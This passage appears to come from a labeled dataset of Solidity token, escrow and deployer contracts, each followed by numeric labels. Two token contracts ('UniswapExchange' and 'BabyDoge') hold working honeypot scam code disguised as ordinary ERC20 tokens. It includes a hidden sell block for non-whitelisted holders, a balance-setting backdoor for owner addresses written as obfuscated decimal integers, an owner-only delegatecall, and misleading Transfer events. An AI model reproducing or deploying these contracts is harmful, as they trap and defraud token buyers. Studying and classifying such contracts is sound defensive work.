require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(858749215588756578423191794544755661730712473314));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 518 |
pragma solidity 0.4.25;
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns(uint256 c)
{
if (a == 0)
{
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256)
{
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256 c)
{
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Interface
{
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function allowance(address _owner, address _spender) public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
contract NEXT is ERC20Interface
{
using SafeMath for uint256;
uint256 constant public TOKEN_DECIMALS = 10 ** 18;
string public constant name = "Next Token";
string public constant symbol = "NEXT";
uint256 public totalTokenSupply = 10000000000 * TOKEN_DECIMALS;
uint8 public constant decimals = 18;
address public owner;
uint256 public totalBurned;
bool stopped = false;
event Burn(address indexed _burner, uint256 _value);
event OwnershipTransferred(address indexed _previousOwner, address indexed _newOwner);
struct ClaimLimit
{
uint256 time_limit_epoch;
bool limitSet;
}
mapping(address => ClaimLimit) claimLimits;
mapping(address => uint256) public balances;
mapping(address => mapping(address => uint256)) internal allowed;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
constructor() public
{
owner = msg.sender;
balances[address(this)] = totalTokenSupply;
emit Transfer(address(0x0), address(this), balances[address(this)]);
}
function pauseCrowdSale() external onlyOwner
{
stopped = true;
}
function resumeCrowdSale() external onlyOwner
{
stopped = false;
}
function burn(uint256 _value) onlyOwner public returns (bool)
{
require(!stopped);
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalTokenSupply = totalTokenSupply.sub(_value);
totalBurned = totalBurned.add(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0x0), _value);
return true;
}
function totalSupply() public view returns(uint256 _totalSupply)
{
_totalSupply = totalTokenSupply;
return _totalSupply;
}
function balanceOf(address _owner) public view returns (uint256)
{
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool)
{
require(!stopped);
if (_value == 0)
{
emit Transfer(_from, _to, _value);
return true;
}
require(!claimLimits[msg.sender].limitSet, "Limit is set and use claim");
require(_to != address(0x0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value >= 0);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferTo(address _address, uint256 _tokens) external onlyOwner returns(bool)
{
require( _address != address(0x0));
require( balances[address(this)] >= _tokens.mul(TOKEN_DECIMALS) && _tokens.mul(TOKEN_DECIMALS) > 0);
balances[address(this)] = ( balances[address(this)]).sub(_tokens.mul(TOKEN_DECIMALS));
balances[_address] = (balances[_address]).add(_tokens.mul(TOKEN_DECIMALS));
emit Transfer(address(this), _address, _tokens.mul(TOKEN_DECIMALS));
return true;
}
function approve(address _spender, uint256 _tokens) public returns(bool)
{
require(!stopped);
require(_spender != address(0x0));
allowed[msg.sender][_spender] = _tokens;
emit Approval(msg.sender, _spender, _tokens);
return true;
}
function allowance(address _owner, address _spender) public view returns(uint256)
{
require(!stopped);
require(_owner != address(0x0) && _spender != address(0x0));
return allowed[_owner][_spender];
}
function transfer(address _address, uint256 _tokens) public returns(bool)
{
require(!stopped);
if (_tokens == 0)
{
emit Transfer(msg.sender, _address, _tokens);
return true;
}
require(!claimLimits[msg.sender].limitSet, "Limit is set and use claim");
require(_address != address(0x0));
require(balances[msg.sender] >= _tokens);
balances[msg.sender] = (balances[msg.sender]).sub(_tokens);
balances[_address] = (balances[_address]).add(_tokens);
emit Transfer(msg.sender, _address, _tokens);
return true;
}
function transferOwnership(address _newOwner)public onlyOwner
{
require(!stopped);
require( _newOwner != address(0x0));
balances[_newOwner] = (balances[_newOwner]).add(balances[owner]);
balances[owner] = 0;
owner = _newOwner;
emit Transfer(msg.sender, _newOwner, balances[_newOwner]);
}
function increaseApproval(address _spender, uint256 _addedValue) public returns (bool)
{
require(!stopped);
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
require(!stopped);
if (_subtractedValue > oldValue)
{
allowed[msg.sender][_spender] = 0;
}
else
{
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function claim(address _recipient) public
{
require(_recipient != address(0x0), "Invalid recipient");
require(msg.sender != _recipient, "Self transfer");
require(claimLimits[msg.sender].limitSet, "Limit not set");
require (now > claimLimits[msg.sender].time_limit_epoch, "Time limit");
uint256 tokens = balances[msg.sender];
balances[msg.sender] = (balances[msg.sender]).sub(tokens);
balances[_recipient] = (balances[_recipient]).add(tokens);
emit Transfer(msg.sender, _recipient, tokens);
}
function setClaimLimit(address _address, uint256 _days) public onlyOwner
{
require(balances[_address] > 0, "No tokens");
claimLimits[_address].time_limit_epoch = (now + ((_days).mul(1 days)));
claimLimits[_address].limitSet = true;
}
} | 1 | 5,203 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract BabyDoge {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 32 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract DecentralisedAutonomousTokenMinter {
address[] newContracts;
address constant private Admin = 0x92Bf51aB8C48B93a96F8dde8dF07A1504aA393fD;
uint FIW;
uint mult;
function createContract (bytes32 TokenName,bytes32 TickerSymbol,uint8 DecimalPlaces,uint TotalSupply) public payable{
address addr=0x6096B8D46E1e4E00FA1BEADFc071bBE500ED397B;
address addrs=0xE80cBfDA1b8D0212C4b79D6d6162dc377C96876e;
address Tummy=0x820090F4D39a9585a327cc39ba483f8fE7a9DA84;
address Willy=0xA4757a60d41Ff94652104e4BCdB2936591c74d1D;
address Nicky=0x89473CD97F49E6d991B68e880f4162e2CBaC3561;
address Artem=0xA7e8AFa092FAa27F06942480D28edE6fE73E5F88;
if (msg.sender==Admin || msg.sender==Tummy || msg.sender==Willy || msg.sender==Nicky || msg.sender==Artem){
}else{
VIPs Mult=VIPs(addrs);
mult=Mult.IsVIP(msg.sender);
Fees fee=Fees(addr);
FIW=fee.GetFeeDATM();
require(msg.value >= FIW*mult);
}
Admin.transfer(msg.value);
address Sender=msg.sender;
address newContract = new Contract(TokenName,TickerSymbol,DecimalPlaces,TotalSupply,Sender);
newContracts.push(newContract);
}
}
contract VIPs {
function IsVIP(address Address)returns(uint Multiplier);
}
contract Fees {
function GetFeeDATM()returns(uint);
}
contract Contract is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function Contract (bytes32 TokenName,bytes32 TickerSymbol,uint8 DecimalPlaces,uint TotalSupply,address Sender) public {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(TokenName) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
bytes memory bytesStringsw = new bytes(32);
uint charCountsw = 0;
for (uint k = 0; k < 32; k++) {
byte charsw = byte(bytes32(uint(TickerSymbol) * 2 ** (8 * k)));
if (charsw != 0) {
bytesStringsw[charCountsw] = charsw;
charCountsw++;
}
}
bytes memory bytesStringTrimmedsw = new bytes(charCountsw);
for (k = 0; k < charCountsw; k++) {
bytesStringTrimmedsw[k] = bytesStringsw[k];
}
symbol = string(bytesStringTrimmedsw);
name = string(bytesStringTrimmed);
decimals = DecimalPlaces;
_totalSupply = TotalSupply*10**uint(DecimalPlaces);
balances[Sender] = _totalSupply;
emit Transfer(address(0), Sender, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,620 |
pragma solidity ^0.4.11;
contract dapEscrow{
struct Bid{
bytes32 name;
address oracle;
address seller;
address buyer;
uint price;
uint timeout;
dealStatus status;
uint fee;
bool isLimited;
}
enum dealStatus{ unPaid, Pending, Closed, Rejected, Refund }
mapping (address => Bid[]) public bids;
mapping (address => uint) public pendingWithdrawals;
event amountRecieved(
address seller,
uint bidId
);
event bidClosed(
address seller,
uint bidId
);
event bidCreated(
address seller,
bytes32 name,
uint bidId
);
event refundDone(
address seller,
uint bidId
);
event withdrawDone(
address person,
uint amount
);
event bidRejected(
address seller,
uint bidId
);
function getBidIndex(address seller, bytes32 name) public constant returns (uint){
for (uint8 i=0;i<bids[seller].length;i++){
if (bids[seller][i].name == name){
return i;
}
}
}
function getBidsNum (address seller) public constant returns (uint bidsNum) {
return bids[seller].length;
}
function sendAmount (address seller, uint bidId) external payable{
Bid storage a = bids[seller][bidId];
require(msg.value == a.price && a.status == dealStatus.unPaid);
if (a.isLimited == true){
require(a.timeout > block.number);
}
a.status = dealStatus.Pending;
amountRecieved(seller, bidId);
}
function createBid (bytes32 name, address seller, address oracle, address buyer, uint price, uint timeout, uint fee) external{
require(name.length != 0 && price !=0);
bool limited = true;
if (timeout == 0){
limited = false;
}
bids[seller].push(Bid({
name: name,
oracle: oracle,
seller: seller,
buyer: buyer,
price: price,
timeout: block.number+timeout,
status: dealStatus.unPaid,
fee: fee,
isLimited: limited
}));
uint bidId = bids[seller].length-1;
bidCreated(seller, name, bidId);
}
function closeBid(address seller, uint bidId) external returns (bool){
Bid storage bid = bids[seller][bidId];
if (bid.isLimited == true){
require(bid.timeout > block.number);
}
require(msg.sender == bid.oracle && bid.status == dealStatus.Pending);
bid.status = dealStatus.Closed;
pendingWithdrawals[bid.seller]+=bid.price-bid.fee;
pendingWithdrawals[bid.oracle]+=bid.fee;
withdraw(bid.seller);
withdraw(bid.oracle);
bidClosed(seller, bidId);
return true;
}
function refund(address seller, uint bidId) external returns (bool){
require(bids[seller][bidId].buyer == msg.sender && bids[seller][bidId].isLimited == true && bids[seller][bidId].timeout < block.number && bids[seller][bidId].status == dealStatus.Pending);
Bid storage a = bids[seller][bidId];
a.status = dealStatus.Refund;
pendingWithdrawals[a.buyer] = a.price;
withdraw(a.buyer);
refundDone(seller,bidId);
return true;
}
function rejectBid(address seller, uint bidId) external returns (bool){
if (bids[seller][bidId].isLimited == true){
require(bids[seller][bidId].timeout > block.number);
}
require(msg.sender == bids[seller][bidId].oracle && bids[seller][bidId].status == dealStatus.Pending);
Bid storage bid = bids[seller][bidId];
bid.status = dealStatus.Rejected;
pendingWithdrawals[bid.oracle] = bid.fee;
pendingWithdrawals[bid.buyer] = bid.price-bid.fee;
withdraw(bid.buyer);
withdraw(bid.oracle);
bidRejected(seller, bidId);
return true;
}
function withdraw(address person) private{
uint amount = pendingWithdrawals[person];
pendingWithdrawals[person] = 0;
person.transfer(amount);
withdrawDone(person, amount);
}
} | 1 | 4,384 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
contract AbstractDeployer is Ownable {
function title() public view returns(string);
function deploy(bytes data)
external onlyOwner returns(address result)
{
require(address(this).call(data), "Arbitrary call failed");
assembly {
returndatacopy(0, 0, 32)
result := mload(0)
}
}
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint i) public view returns(ERC20);
function bundlingEnabled() public view returns(bool);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function disableBundling() public;
function enableBundling() public;
bytes4 public constant InterfaceId_IBasicMultiToken = 0xd5c368b6;
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function weights(address _token) public view returns(uint256);
function changesEnabled() public view returns(bool);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function disableChanges() public;
bytes4 public constant InterfaceId_IMultiToken = 0x81624e24;
}
contract MultiTokenNetwork is Pausable {
address[] private _multitokens;
AbstractDeployer[] private _deployers;
event NewMultitoken(address indexed mtkn);
event NewDeployer(uint256 indexed index, address indexed oldDeployer, address indexed newDeployer);
function multitokensCount() public view returns(uint256) {
return _multitokens.length;
}
function multitokens(uint i) public view returns(address) {
return _multitokens[i];
}
function allMultitokens() public view returns(address[]) {
